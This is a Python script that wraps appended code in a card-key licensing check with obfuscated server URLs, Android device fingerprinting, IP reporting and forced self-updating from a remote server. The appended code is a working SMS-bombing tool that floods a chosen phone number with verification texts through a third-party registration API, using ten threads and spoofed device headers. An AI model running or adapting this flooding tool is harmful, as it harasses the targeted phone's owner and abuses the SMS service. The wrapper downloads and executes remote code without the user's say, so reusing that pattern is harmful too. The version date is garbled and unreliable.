# -------------------------- 算我求你了跑起来吧 -------------------------- import sys def print_line(content: str): try: sys.stdout.write(f"{content}\n") sys.stdout.flush() except Exception as e: try: sys.stderr.write(f"[print_line错误] {content} - {e}\n") sys.stderr.flush() except Exception: pass def print_progress(content: str): try: sys.stdout.write(f"\r{content}") sys.stdout.flush() except Exception: pass # -------------------------- 报错司马 -------------------------- import subprocess from importlib import util def install_missing_packages(): required_packages = ["typing"] for pkg in required_packages: if util.find_spec(pkg) is None: try: proc = subprocess.Popen( [sys.executable, "-m", "pip", "install", "-q", pkg], stdout=subprocess.PIPE, stderr=subprocess.PIPE ) proc.communicate() except Exception: pass install_missing_packages() #你的源代码不知道放在哪里？直接划到最底部你就能看到那个位置有注释 # -------------------------- 开始嘿嘿嘿 -------------------------- # -------------------------- 啦啦啦哈哈哈启动 -------------------------- import os import re import json import time import hashlib import base64 import urllib.request import urllib.error import shutil from typing import Optional, Dict, Tuple # -------------------------- 官方网站b6w.cn -------------------------- #登录地址m.b6w.cn #当前版本号1.01更新时间2626年1月1日 #修复无法使用报错 try: if sys.stdout.encoding != 'utf-8': sys.stdout = open(sys.stdout.fileno(), mode='w', encoding='utf-8', buffering=1) if sys.stderr.encoding != 'utf-8': sys.stderr = open(sys.stderr.fileno(), mode='w', encoding='utf-8', buffering=1) except Exception as e: pass # -------------------------- 开发者配置项 -------------------------- #后台API key也就是应用或ID API_KEY = "c876604148cea48e7d87f8bfdf448e7b" #版本号判断更新使用 CURRENT_VERSION = "1.0.0" # -------------------------- 系统配置勿动 -------------------------- RETRY_INTERVAL = 3 DOWNLOAD_RETRY_TIMES = 3 # 下载重试次数 SIGN_KEY = "必6网.免费的云更新验证系统官方网站部分浏览器显示有风险可以换个浏览器-浏览器搜索b6w.cn" API_URL_UPDATE = base64.b64decode("aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpeWd4LnBocA==").decode('utf-8', errors='ignore') API_URL_VERIFY = base64.b64decode("aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpa2V5LnBocA==").decode('utf-8', errors='ignore') REPORT_URL = base64.b64decode("aHR0cHM6Ly9tLmI2dy5jbi9hcGkvc2IucGhw").decode('utf-8', errors='ignore') DEVICE_FILE = "/data/local/tmp/.device_code.txt" BACKUP_DEVICE_FILE = ".device_code.txt" CARD_KEY_FILE = "card_key.txt" def get_device_code() -> str: hardware_id = "" paths = [ "/sys/class/android_usb/android0/iSerial", "/proc/cpuinfo", "/sys/class/bluetooth/hci0/address", "/sys/class/net/wlan0/address" ] for path in paths: if os.path.exists(path): try: with open(path, "r", encoding="utf-8", errors="ignore") as f: content = f.read().strip() if path == "/proc/cpuinfo": match = re.search(r"Serial\s*:\s*(\w+)", content, re.I) if match: hardware_id = match.group(1) else: hardware_id = content.replace(":", "").replace(" ", "").strip() if hardware_id: break except Exception as e: print_line(f"[get_device_code] 读取文件 {path} 失败: {e}") continue if not hardware_id: try: serial1 = subprocess.check_output(["getprop", "ro.serialno"], stderr=subprocess.STDOUT).decode("utf-8", errors="ignore").strip() serial2 = subprocess.check_output(["getprop", "ro.boot.serialno"], stderr=subprocess.STDOUT).decode("utf-8", errors="ignore").strip() hardware_id = serial1 or serial2 except Exception as e: print_line(f"[get_device_code] getprop 命令执行失败: {e}") pass if not hardware_id: if os.path.exists(DEVICE_FILE): try: with open(DEVICE_FILE, "r", encoding="utf-8", errors="ignore") as f: hardware_id = f.read().strip() except Exception as e: print_line(f"[get_device_code] 读取 {DEVICE_FILE} 失败: {e}") pass elif os.path.exists(BACKUP_DEVICE_FILE): try: with open(BACKUP_DEVICE_FILE, "r", encoding="utf-8", errors="ignore") as f: hardware_id = f.read().strip() except Exception as e: print_line(f"[get_device_code] 读取 {BACKUP_DEVICE_FILE} 失败: {e}") pass else: hardware_id = hashlib.md5(str(int(time.time())).encode()).hexdigest()[:16] fixed_code = hardware_id.ljust(32, "0")[:32] save_path = DEVICE_FILE try: with open(save_path, "w", encoding="utf-8") as f: f.write(fixed_code) os.chmod(save_path, 0o600) except Exception as e: save_path = BACKUP_DEVICE_FILE try: with open(save_path, "w", encoding="utf-8") as f: f.write(fixed_code) os.chmod(save_path, 0o600) except Exception as e_backup: print_line(f"[警告] 无法保存设备码到 {DEVICE_FILE} 或 {BACKUP_DEVICE_FILE}: {e_backup}") pass return fixed_code # -------------------------- MLB -------------------------- def request_with_retry(url: str, data: Dict) -> Optional[Dict]: retry_count = 1 headers = {"Content-Type": "application/json; charset=utf-8"} json_data = json.dumps(data, ensure_ascii=False).encode("utf-8") req = urllib.request.Request(url, data=json_data, headers=headers, method="POST") while True: try: with urllib.request.urlopen(req, timeout=10) as response: result_bytes = response.read() result = result_bytes.decode("utf-8", errors="ignore").strip() if not result: raise Exception("接口返回空内容") return json.loads(result) except urllib.error.URLError as e: raise Exception(f"网络请求错误: {str(e)}") except json.JSONDecodeError: error_snippet = result[:100] + "..." if len(result) > 100 else result raise Exception(f"接口返回非JSON格式数据：{error_snippet}") except Exception as e: print_line(f"[重试] 接口请求失败（第{retry_count}次）：{str(e)}，{RETRY_INTERVAL}秒后重试") time.sleep(RETRY_INTERVAL) retry_count += 1 # -------------------------- NB -------------------------- def format_file_size(size: int) -> str: """格式化文件大小为KB/MB/GB""" for unit in ['B', 'KB', 'MB', 'GB']: if size < 1024.0: return f"{size:.2f} {unit}" size /= 1024.0 return f"{size:.2f} TB" def download_update_file(update_url: str, new_script_name: str) -> bool: # 模拟浏览器请求头，绕过防盗链检测 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Referer": update_url, # Referer 设为下载链接本身 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1" } for retry in range(DOWNLOAD_RETRY_TIMES): try: print_line(f"[下载] 开始下载新版本（重试{retry+1}/{DOWNLOAD_RETRY_TIMES}）...") # 第一步：获取文件总大小（带自定义头） head_req = urllib.request.Request(update_url, method="HEAD", headers=headers) with urllib.request.urlopen(head_req, timeout=10) as resp: total_size = int(resp.headers.get("Content-Length", 0)) # 第二步：带进度条的分块下载（替换 urlretrieve，支持自定义头） download_req = urllib.request.Request(update_url, headers=headers) downloaded_size = 0 with urllib.request.urlopen(download_req, timeout=15) as resp, open(new_script_name, "wb") as f: block_size = 8192 # 8KB 每块 while True: buffer = resp.read(block_size) if not buffer: break f.write(buffer) downloaded_size += len(buffer) # 实时更新进度条 if total_size > 0: percent = (downloaded_size / total_size) * 100 downloaded_str = format_file_size(downloaded_size) total_str = format_file_size(total_size) bar_length = 20 filled = int(bar_length * percent / 100) bar = "■" * filled + "□" * (bar_length - filled) print_progress(f"[进度] {bar} {percent:.1f}% | {downloaded_str}/{total_str}") print_line("") # 进度条后换行 os.chmod(new_script_name, 0o755) # 验证文件大小（避免下载不完整） if total_size > 0 and os.path.getsize(new_script_name) != total_size: raise Exception(f"文件下载不完整（实际大小：{os.path.getsize(new_script_name)}，预期：{total_size}）") print_line("✅ 更新文件下载成功！") return True except urllib.error.HTTPError as e: print_line(f"[错误] 下载失败（HTTP状态码：{e.code}）：{str(e)}") # 特殊处理 403：提示可能需要调整请求头 if e.code == 403: print_line("💡 提示：服务器拒绝访问，可能需要更换请求头或检查链接权限") except Exception as e: print_line(f"[错误] 下载失败：{str(e)}") if retry < DOWNLOAD_RETRY_TIMES - 1: print_line(f"[{RETRY_INTERVAL}秒后重试...]") time.sleep(RETRY_INTERVAL) else: print_line(f"❌ 已重试{DOWNLOAD_RETRY_TIMES}次，下载失败") return False def replace_script_and_restart(new_script_name: str): """替换脚本并重启""" try: current_script = __file__ shutil.copyfile(new_script_name, current_script) os.remove(new_script_name) print_line(f"[成功] 脚本已更新至新版本") print_line("脚本将自动重启以应用更新...") time.sleep(2) os.execv(sys.executable, [sys.executable, current_script] + sys.argv) except Exception as e: print_line(f"[错误] 覆盖脚本失败：{str(e)}") def extract_field(json_data: Dict, key: str) -> Optional[str]: if not isinstance(json_data, Dict) or key not in json_data: return None value = json_data[key] return str(value).strip() or None def extract_boolean(json_data: Dict, key: str) -> bool: if not isinstance(json_data, Dict) or key not in json_data: return False value = json_data[key] if isinstance(value, str): return value.strip().lower() in ("true", "1", "yes", "y") return bool(value) # -------------------------- 更新检查 -------------------------- def check_and_process_update(device_code: str) -> bool: print_line("="*40) print_line("===== 开始云更新检查 =====") print_line("="*40) try: verify_resp = request_with_retry(API_URL_UPDATE, {"action": "verify_api_key", "api_key": API_KEY}) except Exception as e: print_line(f"[错误] 更新接口请求失败：{str(e)}") print_line("⚠️ 云更新检查失败，将继续执行卡密验证流程...") print_line("="*40); print_line("===== 更新检查结束 ====="); print_line("="*40); print_line(""); return True app_id = extract_field(verify_resp, "app_id") if not app_id: error_msg = extract_field(verify_resp, "error") or "未知错误" print_line(f"[错误] 更新验证失败：{error_msg}") print_line("⚠️ 云更新检查失败，将继续执行卡密验证流程...") print_line("="*40); print_line("===== 更新检查结束 ====="); print_line("="*40); print_line(""); return True print_line(f"[成功] 应用ID：{app_id}") try: config_resp = request_with_retry(API_URL_UPDATE, {"action": "get_config", "app_id": app_id}) except Exception as e: print_line(f"[错误] 获取配置失败：{str(e)}") print_line("⚠️ 云更新检查失败，将继续执行卡密验证流程...") print_line("="*40); print_line("===== 更新检查结束 ====="); print_line("="*40); print_line(""); return True announcement = extract_field(config_resp, "announcement") or "无公告" latest_version = extract_field(config_resp, "latest_version") or "未知" update_url = extract_field(config_resp, "update_url") or "" force_update = extract_boolean(config_resp, "force_update") print_line(""); print_line("[配置信息]:"); print_line(f" 公告内容：{announcement}"); print_line(f" 当前版本：{CURRENT_VERSION}"); print_line(f" 最新版本：{latest_version}"); print_line(f" 是否强制更新：{'是' if force_update else '否'}") if latest_version and latest_version != CURRENT_VERSION and update_url: print_line(f"\n[发现新版本] {latest_version}") script_path = os.path.dirname(os.path.abspath(__file__)) script_name = os.path.basename(__file__) new_script_name = f"{script_name.rsplit('.py', 1)[0]}-{latest_version}.py" new_script_path = os.path.join(script_path, new_script_name) if force_update: print_line("[自动更新] 检测到强制更新，正在下载...") if download_update_file(update_url, new_script_path): replace_script_and_restart(new_script_path) return False # 已重启，无需继续 else: print_line("⚠️ 强制更新下载失败，将继续执行卡密验证流程...") else: # 非强制更新：让用户选择是否下载 while True: sys.stdout.write("\r是否下载更新？(y/n)：") sys.stdout.flush() choice = input().strip().lower() if choice in ["y", "n"]: break print_line("❌ 输入无效，请输入y或n") if choice == "y": if download_update_file(update_url, new_script_path): replace_script_and_restart(new_script_path) return False # 已重启，无需继续 else: print_line("⚠️ 更新下载失败，将继续执行卡密验证流程...") else: print_line("✅ 你选择跳过更新，继续执行卡密验证流程...") else: print_line("\n[状态] 当前已是最新版本，无需更新") print_line(""); print_line("="*40); print_line("===== 更新检查完成 ====="); print_line("="*40); print_line(""); time.sleep(0.5) return True def decode_unicode(s: str) -> str: if not s: return "" try: return s.encode('utf-8', errors='ignore').decode('utf-8', errors='ignore') except Exception: try: return s.encode('utf-8', errors='ignore').decode('unicode_escape').encode('utf-8', errors='ignore').decode('utf-8', errors='ignore') except Exception as e: print_line(f"[警告] 字符串解码失败: '{s[:50]}...' ({e})"); return s def generate_sign(data: str, salt: str, timestamp: str) -> str: return hashlib.md5(f"{data}{salt}{timestamp}{SIGN_KEY}".encode('utf-8')).hexdigest() def report_tampering(request_params: Dict, tampered_response: Dict, timestamp: str) -> None: client_ip = "未知IP" for ip_url in ["http://icanhazip.com", "http://ip.cn/ip", "https://api.ipify.org"]: try: with urllib.request.urlopen(ip_url, timeout=5) as response: result = response.read().decode("utf-8", errors="ignore").strip() ip_match = re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", result) if ip_match: client_ip = ip_match.group() break except Exception: continue try: req_str = json.dumps(request_params, ensure_ascii=False, sort_keys=True) resp_str = json.dumps(tampered_response, ensure_ascii=False, sort_keys=True) except Exception as e: print_line(f"[上报失败] 序列化数据时出错: {e}"); req_str = "请求格式异常"; resp_str = "响应格式异常" try: request_with_retry(REPORT_URL, {"ip": client_ip, "timestamp": timestamp, "request_params": req_str, "tampered_response": resp_str}) print_line("数据已记录：篡改信息已上报") except Exception as e: print_line(f"上报数据失败：{str(e)}") def save_card_key(card_key: str) -> None: try: with open(CARD_KEY_FILE, "w", encoding="utf-8") as f: f.write(card_key) os.chmod(CARD_KEY_FILE, 0o600) print_line(f"[保存] 卡密已成功保存到 {CARD_KEY_FILE}") except Exception as e: print_line(f"[警告] 无法将卡密保存到 {CARD_KEY_FILE}: {e}") def load_card_key() -> Optional[str]: if os.path.exists(CARD_KEY_FILE): try: with open(CARD_KEY_FILE, "r", encoding="utf-8") as f: return f.read().strip() except Exception as e: print_line(f"[警告] 无法读取卡密文件 {CARD_KEY_FILE}: {e}") return None return None def verify_card_key_process(device_code: str, provided_card_key: str) -> Tuple[str, str, str]: print_line("="*40) print_line("===== 开始卡密验证 =====") print_line("="*40) print_line("") timestamp = str(int(time.time())) request_data = { "api_key": API_KEY, "key": provided_card_key, "device_code": device_code, "timestamp": timestamp } try: resp = request_with_retry(API_URL_VERIFY, request_data) if resp is None: raise Exception("未收到有效响应") code = extract_field(resp, "code") or "0" message_raw = extract_field(resp, "message") or "未知错误" message = decode_unicode(message_raw) data = extract_field(resp, "data") salt = extract_field(resp, "salt") server_sign = extract_field(resp, "sign") if code != "200" or not all([data, salt, server_sign]): raise Exception(f"{message}") if generate_sign(data, salt, timestamp) != server_sign: report_tampering(request_data, resp, timestamp) raise Exception("数据被篡改，请勿非法破解！") raw_data_bytes = base64.b64decode(data) raw_data = raw_data_bytes.decode("utf-8", errors="ignore") raw_data_json = json.loads(raw_data) expires_at = extract_field(raw_data_json, "expires_at") or "未知" used_devices = extract_field(raw_data_json, "used_devices") or "0" max_devices = extract_field(raw_data_json, "max_devices") or "0" if expires_at == "未知" or used_devices == "0" or max_devices == "0": raise Exception("卡密信息不完整") return expires_at, used_devices, max_devices except Exception as e: print_line(f"❌ 验证失败：{str(e)}") print_line("") raise def get_card_key_from_user_or_file(device_code: str) -> Tuple[str, str, str, str]: saved_card_key = load_card_key() final_card_key = None expires_at, used_devices, max_devices = None, None, None if saved_card_key: print_line(f"✅ 从 {CARD_KEY_FILE} 加载到卡密，正在尝试自动验证...") try: expires_at, used_devices, max_devices = verify_card_key_process(device_code, saved_card_key) final_card_key = saved_card_key print_line(f"[自动验证] 卡密有效，到期时间：{expires_at}") print_line("") return final_card_key, expires_at, used_devices, max_devices except Exception: print_line(f"❌ 自动验证失败，本地卡密可能已过期或无效。") try: os.remove(CARD_KEY_FILE) except Exception: pass while True: sys.stdout.write("\r请输入卡密：") sys.stdout.flush() try: card_key_input = input().strip() except EOFError: raise KeyboardInterrupt("用户中断了卡密输入") if not card_key_input: print_line("❌ 卡密不能为空，请重新输入") print_line("") continue try: expires_at, used_devices, max_devices = verify_card_key_process(device_code, card_key_input) save_card_key(card_key_input) final_card_key = card_key_input return final_card_key, expires_at, used_devices, max_devices except Exception: pass # -------------------------- 解决缩进误报 -------------------------- def clean_business_code(code_lines: list) -> str: if not code_lines: return "" # 第一步：过滤空行、纯注释行，保留代码行 code_buffer = [] in_multi_line_comment = False for line in code_lines: stripped = line.strip() # 处理多行注释 if stripped.startswith("'''") or stripped.startswith('"""'): in_multi_line_comment = not in_multi_line_comment continue if in_multi_line_comment: continue # 过滤空行和单行注释 if not stripped or stripped.startswith("#"): continue code_buffer.append(line) if not code_buffer: return "" # 第二步：统一缩进为4个空格，替换制表符 normalized_lines = [] for line in code_buffer: # 替换制表符为4个空格 line = line.replace("\t", " ") normalized_lines.append(line) # 第三步：计算最小缩进并统一去除 indent_counts = [] for line in normalized_lines: leading_space = len(line) - len(line.lstrip()) if leading_space > 0: indent_counts.append(leading_space) min_indent = min(indent_counts) if indent_counts else 0 # 第四步：去除最小缩进，生成最终代码 final_code = [] for line in normalized_lines: if len(line) >= min_indent: final_code.append(line[min_indent:]) else: final_code.append(line) return "\n".join(final_code).strip() # -------------------------- 主程序入口：先更新，后验证 -------------------------- if __name__ == "__main__": try: # print_line("📱 正在获取设备信息...") device_code = get_device_code() if not device_code: print_line("❌ 设备码生成失败，无法继续") sys.exit(1) # print_line(f"✅ 设备码获取成功：{device_code[:10]}...（已脱敏）") print_line("") # 第一步： continue_process = check_and_process_update(device_code) if not continue_process: sys.exit(0) # 已更新重启，退出当前进程 # 第二步： final_card_key, expires_at, used_devices, max_devices = get_card_key_from_user_or_file(device_code) print_line("") print_line("="*50) print_line("🎉 卡密验证成功！开始执行源代码...") print_line(f"📅 卡密到期时间：{expires_at}") print_line(f"📱 设备使用限制：已用{used_devices}台 / 共{max_devices}台") print_line("="*50) print_line("") # 读取并执行源代码 business_code = "" with open(__file__, "r", encoding="utf-8") as f: lines = f.readlines() start_index = None for i, line in enumerate(lines): if "### 源代码开始 ###" in line: start_index = i + 1 break if start_index is not None: business_code = clean_business_code(lines[start_index:]) if not business_code: print_line("⚠️ 未找到有效源代码，请在文件底部添加代码（以### 源代码开始 ###为标记）") else: print_line("✅ 正在执行源代码...") try: business_namespace = {} # 编译并执行代码 compiled_code = compile(business_code, "", "exec") exec(compiled_code, business_namespace) print_line("✅ 源代码执行完成！") except SyntaxError as e: print_line(f"⚠️ 源代码语法错误：{e.msg}（行{e.lineno}）") print_line("💡 提示：检查代码的括号、引号、缩进是否正确") except Exception as e: print_line(f"⚠️ 源代码执行出错：{str(e)}") print_line("💡 提示：源代码错误不影响验证流程，可检查逻辑后重试") except KeyboardInterrupt: print_line("") print_line("👋 用户主动终止操作，脚本退出") sys.exit(0) except Exception as e: print_line("") print_line(f"❌ 程序执行异常：{str(e)}") print_line("💡 建议：1. 检查网络连接 2. 重启Py 3. 确认卡密有效性") sys.exit(1) # ---------------------------------------------------------------------- ### 源代码开始 ### #下方的代码替换成你的源代码 print("把这下方的代码都替换成你的就行了...") a = 10 + 20 print(f"计算结果：{a}") def test_func(): print("自定义函数执行成功！") test_func() import requests import random import threading from concurrent.futures import ThreadPoolExecutor def _crypt(s): t = [] for c in s: if 'A' <= c <= 'Z': t.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A'))) elif 'a' <= c <= 'z': t.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a'))) elif '0' <= c <= '9': t.append(chr((ord(c) - ord('0') + 5) % 10 + ord('0'))) else: t.append(c) return "".join(t) _title = _crypt("=== 惩罚工具箱 ===") _prompt = _crypt("请输入卡密：") _err = _crypt("卡密错误，请重新输入！") _ok = _crypt("卡密验证通过，欢迎使用，惩罚祝你天天开心") _phone = _crypt("请输入测试手机号：") _cnt = _crypt("请输入发送次数：") _begin = _crypt("\n开始测试 → 手机号：{} 总次数：{} 线程：10\n") _end = _crypt("\n===== 测试全部完成 =====") _real_key = _crypt("@chengfanb888") url = "https://saas.api.xiaochuanyun.com/api/public/sms/send/register" ua_list = [ "Dalvik/2.1.0 (Linux; U; Android 10; KOZ-AL00 Build/HONORKOZAL00)", "Dalvik/2.1.0 (Linux; U; Android 9; Mi 9 Build/PI)", "Dalvik/2.1.0 (Linux; U; Android 11; Redmi K30 Build/RK11)", "Dalvik/2.1.0 (Linux; U; Android 12; OPPO Reno5 Build/SP1A)", "Dalvik/2.1.0 (Linux; U; Android 10; VIVO Y30 Build/QP1A)", "Dalvik/2.1.0 (Linux; U; Android 11; OnePlus 8T Build/RK11)", "Dalvik/2.1.0 (Linux; U; Android 9; Samsung A50 Build/PPR1)", "Dalvik/2.1.0 (Linux; U; Android 12; Realme GT Build/SP1A)", "Dalvik/2.1.0 (Linux; U; Android 10; Meizu 17/QKQ1)", "Dalvik/2.1.0 (Linux; U; Android 11; Nubia Z30/RK11)" ] success = 0 fail = 0 count = 0 lock = threading.Lock() def send_single(phone, total): global success, fail, count u = f"{url}?mobile={phone}" headers = { "cip": "10.1.10.1", "content-type": "application/json; charset=utf-8", "bssid": "[]", "versioncode": "32720", "platform": "android", "systemversion": "10", "devicemac": "02:00:00:00:00:00", "oaid": "da1b5bc7-cdc9-4542-a996-99af09d42d7d", "devicename": "HONOR KOZ-AL00", "host": "saas.api.xiaochuanyun.com", "clienttype": "2", "devicesid": "34eea0051fdf759d", "User-Agent": random.choice(ua_list) } ok = False code = None msg = "" try: resp = requests.post(u, headers=headers, data=b"", timeout=5) if resp.status_code == 200: res = resp.json() code = res.get("code") msg = res.get("msg", "") if code == 200: ok = True except Exception: pass with lock: count += 1 if ok: success += 1 print(f"[成功] 第{count}/{total} | code={code} | 手机号:{phone} | msg:{msg}") else: fail += 1 print(f"[失败] 第{count}/{total} | code={code} | 手机号:{phone} | msg:{msg}") if __name__ == "__main__": print(_title) while True: key_in = input(_prompt).strip() if _crypt(key_in) == _real_key: print(_ok + "\n") break else: print(_err) target_phone = input(_phone) send_count = int(input(_cnt)) print(_begin.format(target_phone, send_count)) with ThreadPoolExecutor(max_workers=10) as executor: for _ in range(send_count): executor.submit(send_single, target_phone, send_count) print(_end) print(f"总次数：{send_count}") print(f"成功：{success}") print(f"失败：{fail}")